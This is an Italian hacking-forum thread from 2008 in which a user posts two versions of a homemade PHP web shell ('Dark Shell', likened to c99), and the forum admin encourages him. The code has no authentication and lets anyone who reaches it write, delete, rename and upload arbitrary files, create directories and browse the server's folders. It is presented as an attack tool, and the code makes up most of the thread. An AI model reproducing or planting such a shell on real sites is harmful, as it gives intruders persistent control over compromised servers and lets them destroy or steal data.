Xhack

Un forum dedicato all'hacking
 
IndiceIndice  PortalePortale  CalendarioCalendario  FAQFAQ  CercaCerca  RegistrareRegistrare  Lista utentiLista utenti  GruppiGruppi  Connessione  

Condividere | 
 

 shell by Darkwolf

Vedere l'argomento precedente Vedere l'argomento seguente Andare in basso 
AutoreMessaggio
darkwolf
membro importante
membro importante


Numero di messaggi: 225
Localizzazione: Un pò più a destra ecco bravo adesso un pò più in basso perfetto abito lì
Data d'iscrizione: 05.11.07

MessaggioOggetto: shell by Darkwolf   Ven Gen 18, 2008 1:25 pm

Codice:

<html>
   <head></head>
   <body>
<?php
//Inserisco i dati dell'utente e i form
?>

Php shell in   :   <?php echo $_SERVER['SCRIPT_FILENAME'] ?> <br />

Server      :   <?php echo $_SERVER['SERVER_NAME']; ?> <br />

User Agent   :   <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']);?><br />

SERVER ADD   :   <?php echo $_SERVER['SERVER_ADDR']; ?><br />

CLIENT ADD   :   <?php echo $_SERVER['REMOTE_ADDR']; ?><br /><br><br>

<form action = "<?php print $_SERVER['PHP_SELF'] ?>" method = "POST">

Inserire titolo del file:<br> <input type = "input" name = "titolo"><br />

Inserire il testo del file:<br> <textarea name = "testo" maxlength="50000"></textarea><br />

<input type = "submit" value = "Crea file"><br><br>
</form>
      <?php
         /*Creo lo script PHP per per creare il file sul server*/
         $titolo = $_POST['titolo']; //Prelevo i dati del titolo
         $testo = $_POST['testo']; //Prelevo i dati del testo
         $fop = fopen($titolo, "w+"); //Apro il file
              fwrite($fop, $testo); //Scrivo il file
              fclose($fop); //Chiudo il file
      ?>
<?php
/*Creo i form per eliminare i file */
?>
<form action = "<?php print $_SERVER['PHP_SELF'] ?>" method = "POST">
Elimina File:<br>
Inserire nome: <input type = "text" name = "nfile"><br />

<input type = "submit" value = "Cancella il file selezionato">
</form>

   <?php
/*Prelevo il nome dalle variabili*/
      $nfile = $_POST['nfile']; //prelevo il nome
      (unlink($nfile)) //elimino il file
   ?>
<?php
/*Creo i form per rinominare i file*/
?>
Rinomina File:<br>
<form action = "<?php print $_SERVER['PHP_SELF'] ?>" method = "POST">

<input type = "text" name = "old_name" value = "old_name"><br>

<input type = "text" name = "new_name" value = "new_name"><br>

<input type = "submit" value = "Rinomina">
      <?php
/*Prelevo i dati per rinominare il file*/
         $old_name = $_POST['old_name']; //Prelevo il vecchio nome
         $new_name = $_POST['new_name']; //Prelevo il nuovo nome
         rename($old_name, $new_name); //Rinomino il file
      ?>
</body>
</html>

fa le cose essenziale cancella, scrive e rinomina un file....
devo perfezionare la grafica e devo agggiungere lo script (che non so) che permette di vedere le cartelle sul sito...
Tornare in alto Andare in basso
Vedere il profilo dell'utente
darkjoker
Admin
Admin


Numero di messaggi: 813
Data d'iscrizione: 30.07.07

MessaggioOggetto: Re: shell by Darkwolf   Ven Gen 18, 2008 2:12 pm

Wink
l'hai fatta, eh?
Dai anche un'occhiata a quella di Dr Nefasto (sul foro di blacklight) per prendere qualche spunto... Wink

_________________
L'unico computer sicuro, è un computer spento.

Nel software esiste sempre almeno un bug, generalmente è localizzabile tra la tastiera e la sedia

Tornare in alto Andare in basso
Vedere il profilo dell'utente
darkwolf
membro importante
membro importante


Numero di messaggi: 225
Localizzazione: Un pò più a destra ecco bravo adesso un pò più in basso perfetto abito lì
Data d'iscrizione: 05.11.07

MessaggioOggetto: Re: shell by Darkwolf   Ven Gen 18, 2008 3:04 pm

si io la chiamo la nuova c99 XD uso solo quella
Tornare in alto Andare in basso
Vedere il profilo dell'utente
darkwolf
membro importante
membro importante


Numero di messaggi: 225
Localizzazione: Un pò più a destra ecco bravo adesso un pò più in basso perfetto abito lì
Data d'iscrizione: 05.11.07

MessaggioOggetto: Re: shell by Darkwolf   Ven Gen 18, 2008 7:35 pm

reso il sorgente + comprensibile (meno incasinato) migliorato l'aspetto grafico e infine aggiunto la visualizzazzione dei file e delle cartelle aggiunto anche l'upload dei file

sorgente:
Codice:

<?php
//Dati generali
?>
Shell in:  <?php echo $_SERVER['SCRIPT_FILENAME'] ?> <br />

Server:  <?php echo $_SERVER['SERVER_NAME']; ?> <br />

User Agent:  <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']);?><br />

SERVER ADD:  <?php echo $_SERVER['SERVER_ADDR']; ?><br />

CLIENT ADD:  <?php echo $_SERVER['REMOTE_ADDR']; ?><br /><br><br>

<?php
//header
$header = "<html>
<title>Dark Shell</title>
<body bgcolor=\"Black\" text=\"White\" link=\"Gray\">
<form enctype=\"multipart/form-data\" method=\"post\" action=\"\">";
print "$header";
$host = $_SERVER['HTTP_HOST'];
print "<br><center><font size=\"5\">Dark-Shell@$host:~$</font></center>";


//Cancellare File
print "#####Cancella File#####<br><br>";
print "<input type=\"text\" name=\"delete\"><input type=\"submit\" value=\"Cancella\"><br>";

//Crea Cartella
print "#####Crea Cartella#####<br><br>";
print "<input type = \"text\" name = \"dir\"><input type =\"submit\" name = \"sendir\" value = \"Crea\"><br>";

//Crea File
print "#####Crea File#####<br><br>";
print "Nome File: <input type = \"text\" name = \"nomefile\"><br><textarea name=\"testofile\" cols=\"25\" rows=\"10\"></textarea><br><br>";
print "<input type=\"submit\" name=\"inviafile\" value=\"Invia\"><br>";

//Invia File
print "##### Invio File #####<br><br>";
print "<input type=\"file\" name=\"file\"><input type=\"submit\" value=\"Upload\"><br>";

//Cancellare File PHP
$filedelete = htmlspecialchars($_POST['delete']);
if (file_exists($filedelete)) { unlink($filedelete); print "<br><center><font color=\"red\">Message:</font> $filedelete Deleted</center><br>"; }

//Crea Cartella PHP
$makedir = htmlspecialchars($_POST['dir']);
if ($_POST['sendir'] != "") { mkdir($makedir); print "<br><center><font color=\"red\">Message:</font> $makedir Created</center><br>"; }

//Crea File PHP
$nomefile = $_POST['nomefile'];
$testofile = $_POST['testofile'];
if ($_POST['inviafile'] != "") {
$fopen = fopen($nomefile, "a+");
fwrite($fopen, $testofile);
fclose($fopen);
print "<br><center><font color=\"red\">Message:</font> $filename Created</center><br>";}

//Invia File PHP
$tmp = $_FILES['file']['tmp_name'];
$directory = "./";
$name = htmlspecialchars($_FILES['file']['name']);
if(move_uploaded_file($tmp, $directory . $name)) { print "<br><center><font color=\"red\">Message:</font> $name Uppa</center><br>"; }

//Lista file
print "##### Lista File #####<br>";
$dir = $_GET['loc'];
if($dir == "") { $dir = "."; }
$opendir = opendir($dir);
$readdir = readdir($open);
while ($readdir = readdir($opendir)){
if(is_file($readdir))
print "$readdir<br>";
if(is_dir($readdir))
print "<a href=\"?loc=$readdir\">$readdir</a><br>";
}
print "##### Lista File #####<br><br>";
?>


mi diverto a fare queste cose quindi per vostra sfortuna ne posterò altri.... Smile
Tornare in alto Andare in basso
Vedere il profilo dell'utente
darkjoker
Admin
Admin


Numero di messaggi: 813
Data d'iscrizione: 30.07.07

MessaggioOggetto: Re: shell by Darkwolf   Lun Gen 21, 2008 4:12 pm

Sad ...
scherzo... postaci i tuoi lavori Wink

_________________
L'unico computer sicuro, è un computer spento.

Nel software esiste sempre almeno un bug, generalmente è localizzabile tra la tastiera e la sedia

Tornare in alto Andare in basso
Vedere il profilo dell'utente
 

shell by Darkwolf

Vedere l'argomento precedente Vedere l'argomento seguente Tornare in alto 
Pagina 1 su1

Permesso del forum:Non puoi rispondere agli argomenti in questo forum
Xhack :: Programmazione :: HTML/PHP/Javascript-